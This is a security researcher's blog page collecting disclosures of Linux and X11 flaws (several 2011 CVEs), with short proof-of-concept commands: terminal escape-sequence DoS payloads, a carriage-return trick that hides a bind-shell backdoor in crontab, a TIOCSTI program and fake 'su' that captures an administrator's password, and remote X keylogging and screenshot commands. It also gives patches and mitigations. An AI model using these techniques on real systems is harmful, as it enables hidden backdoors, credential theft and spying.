Security
X wrapper permission bypass (CVE-2011-4613)
While I was developing the exploit against CVE-2011-4029, I was a bit
frustrated because on Debian systems, the attacker needed to launch it
from a real TTY. This was because the Debian's X wrapper
(/usr/bin/X) does not allow a non-root user, logged from a remote
session, to start the X server.
I finally found a fun trick to bypass this security restriction. A full description is available in the debian bug report (vulnerable package is xserver-xorg version <=1:7.5+8).
Here is a trivial PoC that allows any user to launch the X server:
The exploit against CVE-2011-4029 has been updated in consequence. It now can launched from anywhere, and not just from a tty.
Other references:
bzexe (bzip2) race condition PoC (CVE-2011-4089)
bzexe (a shell script provided by the bzip2 package) in used to compress executables (ELF file), and have them automatically uncompressed and executed when you run them. Here is an example with the "dd" command:
# file /bin/dd /bin/dd: ELF 64-bit LSB executable, x86-64, ... # bzexe /bin/dd /bin/dd: 2.035:1, 3.931 bits/byte, 50.87% saved, 53240 in, 26158 out. # ls -l /bin/dd* -rwxr-xr-x 1 root root 26809 Nov 5 15:58 /bin/dd << compressed "dd" -rwxr-xr-x 1 root root 53240 Apr 28 2010 /bin/dd~ << orginal "dd" # file /bin/dd* /bin/dd: POSIX shell script text executable /bin/dd~: ELF 64-bit LSB executable, x86-64, ... # dd --version dd (coreutils) 8.5 << "dd" uncompress itself and get executed [...]
A while ago, I reported a bug to Debian, because I found that the decompression phase was prone to a race condition vulnerability. The problem has been (over)described in the original Debian's bug report and on the full-disclosure list (link1, link2).
Because bzexe is rarely used, I didn't wrote a PoC. But when I saw a bunch of people that wrote their own exploits (link1, link2 and link3), I finally decided to wrote one! It uses the Inotify API to give it the best chances to win the race and on my Dual-core, it actually always succeed!
The 22 first lines of a bzexe's compressed program are always the same and match a MD5 fingerprint equal to "614839de3a0d08efc32e16041a22c7da". Therefore, in order to find all the vulnerable programs on a system, execute the following:
for f in $(find /{,usr/}{bin,sbin} -type f); do
CS="$(head -22 ${f}|md5sum)"
[ "${CS%% *}" = "614839de3a0d08efc32e16041a22c7da" ] &&
echo ${f}
done
Other references:
Two Xorg vulnerabilities (CVE-2011-4028 and CVE-2011-4029)
I recently discovered two vulnerabilities in the X server Xorg. The following paper describes one of them, a file permission change vulnerability (CVE-2011-4029):
Here is the associated exploit (it uses Inotify, process priority, X wrapper permission bypass, etc.):
Related links on the subject:
- The original X.org advisory
- Distributions advisories:
- Miscellaneous:
libvte9: Escape sequences of death (CVE-2011-2198)
While playing with terminals, I discovered several missing checks in the way that libvte9.so handles escape sequences. This library is used by a lot of terminal emulators such as gnome-terminal, lxterminal and xfce4-terminal. A good exploitation of those vulnerabilities can lead to a crash of the terminal emulator or an excessive memory and CPU consumption.
DoS using the "insert-blank-characters" capability (reported as bug #629688 / CVE-2011-2198):
$ printf "\033[100000000000000000@" > /tmp/ic-file_of_death $ cat /tmp/ic-file_of_death
DoS using the "window-manipulation" capability (not reported yet):
$ printf "\033[10000t\n\033[100000t" > /tmp/wm-file_of_death $ cat /tmp/wm-file_of_death
This has been tested on Debian 6.0.1, kernel 2.6.32-5-amd64, libvte9 version 1:0.24.3-2 and gnome-terminal version 2.30.2-1.
Isgate? A gateway disclosure script
I thought about a simple way to disclose gateways on a local network. And thus, remotely and without any knowledge about remote network informations.
This is done by setting up a new (fake) entry in your local ARP table that contains a pingable IP address, associated with the MAC address of the host you want to check.
# arp -s <pingable_ip> <target_mac>
And trying to send packets (ICMP requests for instance) to the pingable host (packets will go through the target has ARP informations are being spoofed).
# ping <pingable_ip> PING 192.168.0.10 (192.168.0.10) 56(84) bytes of data. 64 bytes from 192.168.0.10: icmp_req=1 ttl=64 time=5.43 ms From 192.168.0.254: icmp_seq=2 Redirect Host(New nexthop: 192.168.0.10) [...]
Here, the target successfully forwarded the ICMP requests (message "New nexthop") to the pingable host which finally sent the replies. This clearly means that the target is a gateway.
Here is a small script that automatically retrieve ARP addresses and do the trick.
# ./isgate.sh usage: ./isgate.sh <pingable-ip> <target-ip> # ./isgate.sh 192.168.0.16 192.168.0.50 192.168.0.50: IP forward disabled # ./isgate.sh 192.168.0.16 192.168.0.51 192.168.0.51: IP forward enabled <-- here is a gateway
NOTE: You may get in troubles if ICMP is firewalled through the FORWARD chain of your target. However, you could use other network protocols (for instance with hping3) and try to guess what's allowed on the FORWARD chain.
Crontab: How to hide a scheduled task
Here is a lame way to hide a task inside a crontab by using the carriage return character ('\r'), example (using cron version 3.0pl1-109):
$ crontab -l no crontab for alice $ printf "* * * * * >/tmp/x;\rno crontab for $USER\n" | crontab - // new task (command ">/tmp/x") is hidden $ crontab -l no crontab for alice // and it also looks hidden for root # crontab -l -u alice no crontab for alice [ and one minute later ... ] # ls -l /tmp/x -rw-r--r-- 1 alice alice 0 juin 2 22:27 /tmp/x
From a security side, it could be used to hide backdoors. Here is a small script (hide-task.sh) that hides a shell backdoor into an existing cron table:
// current cron table isn't empty bob@mother$ crontab -l 0 3 * * * /bin/true >/dev/null 2>&1 30 4 * * * /bin/false >/dev/null 2>&1 // execute the code to hide the backdoor bob@mother$ chmod +x hide-task.sh ; ./hide-task.sh Backdoor is now hidden in cron table Shell will be bind on port 1337. // new evil task is hidden bob@mother$ crontab -l 0 3 * * * /bin/true >/dev/null 2>&1 30 4 * * * /bin/false >/dev/null 2>&1 [ and one minute later from another box ... ] // connection to our backdoor $ echo "whoami" | nc mother 1337 bob
Avoid carriage return ('\r') or backspace characters ('\b') to be inserted in crontab would be a good thing. I've actually report and sent a patch to debian (BUG#585552), but more reflexions are needed.
Anyway, before a better solution is found, you can avoid such characters by applying my patch like so (cron package version 3.0pl1-105):
$ wget <patch>
$ apt-get source cron
$ cd cron-3.0pl1
$ patch < ../cron-3.0pl1-105-control_chars_checking.patch
// dpkg-dev and fakeroot packages are needed
$ dpkg-buildpackage -rfakeroot -uc -b
$ su
# dpkg -i ../cron_3.0pl1-105_i386.deb
$ printf "* * * * * >/tmp/x;\rno crontab for ${USER}\n" | crontab -
crontab: Some control characters are not allowed
Send password on /bin/su's stdin
Due to security reason, it is forbidden to pipe or redirect strings on standard input of the 'su' command:
$ echo PassW0rd | su - su: must be run from a terminal $ su - <<<"Password" su: must be run from a terminal
One solution is to use ioctl() (sys/ioctl.h) with the TIOCSTI call in argument (TIOC means "Terminal IO Ctl" and STI is for "Stimulate Terminal Input").
$ man ioctl_list [...] 0x00005412 TIOCSTI const char *
First of all, let's write a program that will print its argument on the terminal input (as it was physically typed on the keyboard device):
--code_1.c---------------------------------------------------------------
#include <sys/ioctl.h>
#include <string.h>
#include <stdio.h>
main(int argc, char *argv[]){
char c[30];
int i;
sprintf(c, "%s\n",argv[1]);
for(i=0;i<strlen(c);i++) ioctl(0,TIOCSTI,c+i);
}
-------------------------------------------------------------------------
After compilation ("cc code_1.c -o code_1"):
$ ./code_1 id id $ id /* this command wasn't typed */ uid=1000(vladz) gid=1000(vladz) groups=1000(vladz)
Now, let's try this code on the 'su' command:
$ (sleep 1; ./code_1 Passw0rD; ) & su - [1] 3486 Password: sh-3.1# /* It worked */
The ioctl() redirection technique can be used to write a simple attack against administrator. The trick is to replace the su command with a custom function that :
- captures adminstrator password
- stores the password into a writeable file (e.g. /tmp/.x)
- calls the real /bin/su command using the ioctl() technique
- deletes itself
- Fake-SU (code)
Here is the fake 'su' in action (it can be placed into the ~/.bashrc file of the victim account):
victim:~$ su - Password: sh-3.1# [...] victim:~$ cat /tmp/.x Str0ngPassw0rD
To avoid such attack, it is highly recommended for sysadmins to use the full path of 'su' when it is called:
$ /bin/su -
NSE Script: x11-access.nse
If a X server is listening on TCP port 6000+n (where n is the display number), it is possible to probe if you have access to this server by sending a X11 initial connection request.
I wrote a NSE script (Nmap Scripting Engine) that will check this if one of the port 6000+n are opened.
- x11-access.nse 1.3 (code)
Since Nmap version 5.10BETA1, this script has been included in Nmap, so if you use an earlier version of the tool, use "-sC". For the others, use:
# nmap -p6000 --script ./x11-access.nse 192.168.0.0/24
To include this script in your Nmap's scripts database, copy it into the default scripts directory (usually /usr/share/nmap/scripts or /usr/local/share/nmap/scripts) and run:
# nmap --script-updatedb
Then, you'll be able to launch it with the "-sC" option, like so:
# nmap -sC 192.168.0.44 Starting Nmap 5.00 ( http://nmap.org ) at 2009-07-29 10:59 CEST [...] PORT STATE SERVICE 22/tcp open ssh 6000/tcp open X11 |_ x11-access: X server access is granted
If you have no idea of what you can do when you are granted on a X server, here are few ideas:
Remote snapshot: $ xwd -silent -root -display 192.168.0.44:0.0 -out snapshot.xwd Remote keylogger: $ xev -display 192.168.0.44:0.0 -id 0x<window_id>